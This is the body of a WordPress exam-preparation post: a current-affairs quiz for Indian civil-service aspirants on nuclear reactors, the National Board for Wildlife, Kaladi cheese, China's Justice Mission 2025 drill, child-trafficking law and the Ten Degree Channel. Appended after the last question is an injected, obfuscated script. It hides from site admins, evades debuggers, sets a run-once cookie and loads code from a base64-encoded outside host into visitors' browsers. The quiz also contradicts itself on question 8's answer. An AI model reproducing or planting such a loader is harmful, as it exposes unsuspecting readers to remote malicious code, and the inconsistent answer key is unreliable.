wp-block-paragraph\"><strong>Light Water Reactor (LWR):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>LWRs are <strong>nuclear reactors using ordinary water (H\u2082O) as coolant and moderator<\/strong>, fueled by <strong>enriched uranium<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Global Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>Account for <strong>over 85% of civil nuclear reactor capacity worldwide<\/strong>.<\/li>\n\n\n\n<li>Widely used by <strong>USA, Russia, France<\/strong>, and other countries due to <strong>lower construction cost, simpler design, thermal efficiency<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Advantages over Heavy Water Reactors (PHWRs):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>Simpler design and engineering, resembling conventional thermal power technology Lower construction cost due to <strong>economies of scale<\/strong><\/li>\n\n\n\n<li>Higher thermal efficiency<\/li>\n\n\n\n<li>Access to enriched uranium fuel is easier globally<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>India\u2019s Indigenous LWR:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li><strong>900 MWe LWR project<\/strong> initiated in 2015, currently a <strong>priority for fabrication<\/strong><\/li>\n\n\n\n<li>Indigenous LWR helps <strong>leverage foreign imports<\/strong>, integrate India into <strong>global nuclear supply chains<\/strong>, and enter <strong>export market<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>SHANTI Act, 2025<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Full form:<\/strong> Sustainable Harnessing and Advancement of Nuclear Energy for Transforming India (SHANTI) Act, 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Purpose:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li>Opens India\u2019s <strong>nuclear sector to private companies<\/strong><\/li>\n\n\n\n<li>Allows <strong>import, export, transport, storage of nuclear fuel, technology, and equipment. Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Aligns India\u2019s regulations with <strong>global nuclear commerce norms<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>India\u2019s Three-Stage Nuclear Programme<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Stage 1: Pressurized Heavy Water Reactors (PHWRs)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li>Uses <strong>natural uranium fuel<\/strong> and <strong>heavy water (D\u2082O)<\/strong> as coolant &amp; moderator<\/li>\n\n\n\n<li>Produces <strong>electricity<\/strong> and <strong>plutonium (Pu-239)<\/strong> for next stage<\/li>\n\n\n\n<li>Supplemented by imported <strong>LWRs<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Stage 2: Fast Breeder Reactors (FBRs)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>Uses <strong>plutonium-based fuel<\/strong><\/li>\n\n\n\n<li>Converts <strong>fertile thorium (Th-232) into fissile uranium-233 (U-233)<\/strong><\/li>\n\n\n\n<li>Enhances nuclear capacity via <strong>breeding more fissile material<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Stage 3: Advanced Reactors (Th-U233 Cycle)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-140\">\n<li>Uses <strong>U-233 produced from Stage 2<\/strong><\/li>\n\n\n\n<li>Advanced thermal reactors and fast breeder reactors (e.g., <strong>AHWR<\/strong>) for <strong>long-term energy security<\/strong><\/li>\n\n\n\n<li>Future option: <strong>Molten Salt Reactors<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#9de5cb\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><br><strong>Q. The function of heavy water in a nuclear reactor is to<\/strong> <br><br><strong>(a) Slow down the speed of neutrons<\/strong> <br>(b) Increase the speed of neutrons <br>(c) Cool down the reactor <br>(d) Both (a) and (c)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-141 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-india-light-water-reactor-nuclear-energy-upsc-exam-10484294\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-india-light-water-reactor-nuclear-energy-upsc-exam-10484294\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>6. Consider the following statements about the National Board for Wildlife (NBWL):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">1. NBWL is a statutory body constituted in 2003 under the Wildlife (Protection) Act, 1972.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">2. The Prime Minister of India is the Chairperson of the National Board for Wildlife.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">3. The Standing Committee of NBWL is chaired by the Minister of Environment, Forest &amp; Climate Change.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">4. The NBWL has the power to advise both the Central and State Governments on wildlife protection and controlling poaching or illegal trade<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(a) 1, 2, and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(b) 1, 2, and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(c) 2, 3, and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(d) 1, 2, 3, and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>In NEWS: <\/strong>How did the National Board for Wildlife approve the Kaziranga elevated corridors and highway expansion?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>National Board for Wildlife:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li><strong>Statutory Status:<\/strong> NBWL is a <strong>statutory body<\/strong> established in <strong>2003<\/strong> after the <strong>2002 amendment<\/strong> of the <strong>Wildlife (Protection) Act, 1972<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Genesis:<\/strong><\/li>\n\n\n\n<li>In <strong>1952<\/strong>, the <strong>Indian Board for Wildlife (IBWL)<\/strong> was constituted as an advisory body.<\/li>\n\n\n\n<li><strong>First Chairman of IBWL:<\/strong> Sri Jayachamaraja Wadiyar, Maharaja of Mysore.<\/li>\n\n\n\n<li>IBWL contributions include:<\/li>\n\n\n\n<li><strong>Drafting the Wildlife (Protection) Act, 1972<\/strong><\/li>\n\n\n\n<li><strong>Establishment of Gir National Park for Asiatic lions<\/strong><\/li>\n\n\n\n<li><strong>Declaring<\/strong> the <strong>tiger as India\u2019s national animal<\/strong><\/li>\n\n\n\n<li><strong>Composition of NBWL:<\/strong><\/li>\n\n\n\n<li><strong>Chairperson:<\/strong> Prime Minister of India. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Vice-Chairperson:<\/strong> Union Minister in charge of <strong>Ministry of Environment, Forest &amp; Climate Change.<\/strong><\/li>\n\n\n\n<li><strong>Member-Secretary:<\/strong> Additional Director General of Forests (WL) &amp; Director, Wildlife Preservation<\/li>\n\n\n\n<li><strong>Five members<\/strong> represent <strong>non-governmental organisations<\/strong> (nominated by Central Government)<\/li>\n\n\n\n<li><strong>Ten members<\/strong> nominated from <strong>eminent conservationists, ecologists, environmentalists<\/strong><\/li>\n\n\n\n<li><strong>Standing Committee:<\/strong><\/li>\n\n\n\n<li>NBWL has a <strong>Standing Committee<\/strong> to exercise powers delegated by the Board.<\/li>\n\n\n\n<li><strong>Chairperson of Standing Committee:<\/strong> Minister of Environment, Forest &amp; Climate Change. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Functions of NBWL:<\/strong><\/li>\n\n\n\n<li>Promote <strong>conservation and development<\/strong> of wildlife and forests<\/li>\n\n\n\n<li>Frame <strong>policies<\/strong> and advise <strong>Central and State Governments<\/strong> on wildlife protection and controlling <strong>poaching\/illegal trade. Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>Recommend <strong>setting up and management<\/strong> of <strong>national parks, sanctuaries, and protected areas<\/strong><\/li>\n\n\n\n<li>Restrict or regulate <strong>activities in protected areas<\/strong><\/li>\n\n\n\n<li>Conduct or supervise <strong>impact assessment<\/strong> of projects affecting wildlife or habitats<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#b7c2cd\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. How is the National Green Tribunal (NGT) different from the Central Pollution Control Board (CPCB)?<\/strong> <br><br>1. The NGT has been established by an Act whereas the CPCB has been created by an executive order of the Government. <br>2. The NGT provides environmental justice and helps reduce the burden of litigation in the higher courts whereas the CPCB promotes cleanliness of streams and wells, and aims to improve the quality of air in the country. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-157 wp-block-paragraph\" style=\"color:#0519f3\"><strong>Source:<\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/how-did-the-national-board-for-wildlife-approve-the-kaziranga-elevated-corridors-and-highway-expansion\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/how-did-the-national-board-for-wildlife-approve-the-kaziranga-elevated-corridors-and-highway-expansion<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>7. \u201cKaladi\u201d, recently in the news for upscaling under the One District One Product (ODOP) initiative, is:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(a) A millet-based product from Chhattisgarh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">(b) A traditional dairy product from Udhampur, Jammu &amp; Kashmir<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(c) A herbal medicinal formulation from Himachal Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(d) A fermented fish product from Odisha<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Answer: (b) A traditional dairy product from Udhampur, Jammu &amp; Kashmir<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>In NEWS: <\/strong>Udhamapur\u2019s GI-tagged &#8220;Kaladi&#8221; to be upscaled for diverse food recipes using advanced food technologies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Kaladi \u2013 GI-tagged Traditional Dairy Product of Udhampur<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-167\">\n<li>Traditional <strong>stretchy, milky cheese-like dairy product<\/strong> from <strong>Udhampur district, Jammu &amp; Kashmir<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Made from <strong>raw full-fat milk<\/strong> using <strong>whey water as a coagulant<\/strong>.<\/li>\n\n\n\n<li>Nicknamed the <strong>\u201cMozzarella of Jammu\u201d<\/strong> due to its stretchable texture.<\/li>\n\n\n\n<li>Recently received <strong>Geographical Indication (GI) tag<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Government Initiative<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-169\">\n<li><strong>ODOP (One District One Product)<\/strong> program identifies Kaladi for <strong>technology-driven upscaling and market expansion<\/strong>.<\/li>\n\n\n\n<li>Focus on:<\/li>\n\n\n\n<li><strong>Value addition<\/strong><\/li>\n\n\n\n<li><strong>Shelf-life enhancement<\/strong><\/li>\n\n\n\n<li><strong>Diversification into new food recipes<\/strong><\/li>\n\n\n\n<li><strong>National and international marketing<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-170 wp-block-paragraph\" style=\"color:#0b25e6f2\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2217025&amp;reg=3&amp;lang=1\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2217025&amp;reg=3&amp;lang=1<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>8. \u201cJustice Mission 2025\u201d, a military exercise conducted by which among the following countries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(a) United States<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(b) China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">(c) Taiwan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\">(d) Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Answer: (b) China<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>In NEWS: <\/strong>What is behind China\u2019s latest military drills around Taiwan?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Justice Mission-2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-180\">\n<li>China conducted the <strong>\u201cJustice Mission &#8211; 2025\u201d<\/strong> military drill around Taiwan on <strong>29 &#8211; 30 December 2025<\/strong>.<strong> Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>The drill aimed to safeguard China\u2019s <strong>sovereignty<\/strong>, deter <strong>Taiwanese separatists<\/strong>, and counter <strong>foreign interference<\/strong>.<\/li>\n\n\n\n<li>Focus areas included <strong>sea and air combat readiness<\/strong>, <strong>blockade of key ports<\/strong>, and <strong>three-dimensional deterrence<\/strong> using land, sea, and air forces.<\/li>\n\n\n\n<li>On Day 1, the PLA conducted 130 air sorties, of which 90 crossed the Taiwan Strait centreline.<\/li>\n\n\n\n<li>On <strong>Day 2<\/strong>, <strong>10 long-range rockets<\/strong> landed in Taiwan\u2019s <strong>contiguous zone<\/strong>, the closest ever to the island.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-181 wp-block-paragraph\" style=\"color:#0b25e6f2\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/what-is-behind-chinas-latest-military-drills-around-taiwan-explained\/article70535016.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/what-is-behind-chinas-latest-military-drills-around-taiwan-explained\/article70535016.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>9. How many of the following articles in the constitution of India acts as a safeguard against child trafficking?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">1. Article 23<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">2. Article 24<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">3. Article 39<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">(a) Only one\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">(b) Only two\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\">(c) All three\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>In NEWS: How should India tackle child trafficking? | Explained<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>Child trafficking:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-195\">\n<li>Child trafficking in India remains a <strong>serious violation of children\u2019s rights<\/strong> involving recruitment, transportation, or harbouring of children for exploitation.<\/li>\n\n\n\n<li>The crime violates fundamental rights such as the right to life, dignity, and freedom from exploitation, and persists due to poverty, migration, lack of education, and weak protections.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>Legal &amp; Constitutional Framework<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\">India has a robust legal framework to protect children and prosecute traffickers:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\"><strong>A. Constitutional Provisions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-199\">\n<li><strong>Article 23<\/strong> \u2014 prohibits human trafficking and forced labour.<\/li>\n\n\n\n<li><strong>Article 24<\/strong> \u2014 prohibits the employment of children in hazardous occupations.<\/li>\n\n\n\n<li><strong>Article 39(e)<\/strong> \u2014 the tender age of children are not abused<\/li>\n\n\n\n<li><strong>Article 39(f) <\/strong>\u2014 that children are given opportunities and facilities to develop in a healthy manner and in conditions of freedom and dignity and that childhood and youth are protected against exploitation and against moral and material abandonment.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>Hence all are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\"><strong>B. Key Laws<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-202\">\n<li><strong>Protection of Children from Sexual Offences (POCSO) Act, 2012<\/strong> \u2014 safeguards children against sexual abuse with child\u2011friendly trial mechanisms.<\/li>\n\n\n\n<li><strong>Immoral Traffic (Prevention) Act (ITPA), 1956<\/strong> \u2014 addresses trafficking for sexual purposes.<\/li>\n\n\n\n<li><strong>Juvenile Justice (Care and Protection of Children) Act, 2015<\/strong> \u2014 focuses on care, protection, rehabilitation and reintegration of trafficked and vulnerable children.<\/li>\n\n\n\n<li><strong>Criminal Offences under Bharatiya Nyaya Sanhita (BNS) 2023<\/strong> \u2014 trafficking is criminalised including abduction, deceit, coercion and exploitation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\"><strong>C. &nbsp;Institutional Framework<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-204\">\n<li><strong>National &amp; State Commissions for Protection of Child Rights<\/strong> \u2014 statutory bodies protecting child rights across India.<\/li>\n\n\n\n<li><strong>Anti Trafficking Cell (MHA)<\/strong> \u2014 coordinates law enforcement responses and interstate cooperation.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#b5daf1\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. \u2018Right to Privacy\u2019 is protected under which Article of the Constitution of India?<\/strong> <br><br>(a) Article 15 <br>(b) Article 19 <br><strong>(c) Article 21<\/strong> <br>(d) Article 29<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-205 wp-block-paragraph\" style=\"color:#0b25e6f2\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/how-should-india-tackle-child-trafficking-explained\/article70523068.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/how-should-india-tackle-child-trafficking-explained\/article70523068.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>10. Which one of the following pairs of islands is separated from each other by the &#8216;Ten Degree Channel&#8217;?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\">(a) Andaman and Nicobar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-208 wp-block-paragraph\">(b) Nicobar and Sumatra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-209 wp-block-paragraph\">(c) Maldives and Lakshadweep<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-210 wp-block-paragraph\">(d) Sumatra and Java<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\"><strong>Answer: (a) Andaman and Nicobar<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-213\">\n<li><strong>The Ten Degree Channel <\/strong>is a channel that separates the <strong>Andaman Islands to the north from the Nicobar Islands <\/strong>to the south in the Bay of Bengal. It is named because it lies approximately on the 10-degree line of north latitude. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li><strong>Nicobar and Sumatra: <\/strong>These are separated by the Great Channel, also known as the <strong>Six Degree Channel. <\/strong>Sumatra is an island of Indonesia located to the south of the Great Nicobar Island.<\/li>\n\n\n\n<li><strong>Maldives and Lakshadweep: <\/strong>These are island groups located in the Arabian Sea. They are separated by the <strong>Eight Degree Channel.<\/strong><\/li>\n\n\n\n<li><strong>The Nine Degree Channel <\/strong>separates<strong> Minicoy Island from the main Lakshadweep archipelago.<\/strong><\/li>\n\n\n\n<li><strong>Sumatra and Java: <\/strong>These are major islands of Indonesia separated by the <strong>Sunda Strait.<\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Which among the following states attained statehood in the year 1972? 1. Manipur 2. Nagaland 3. Meghalaya 4. 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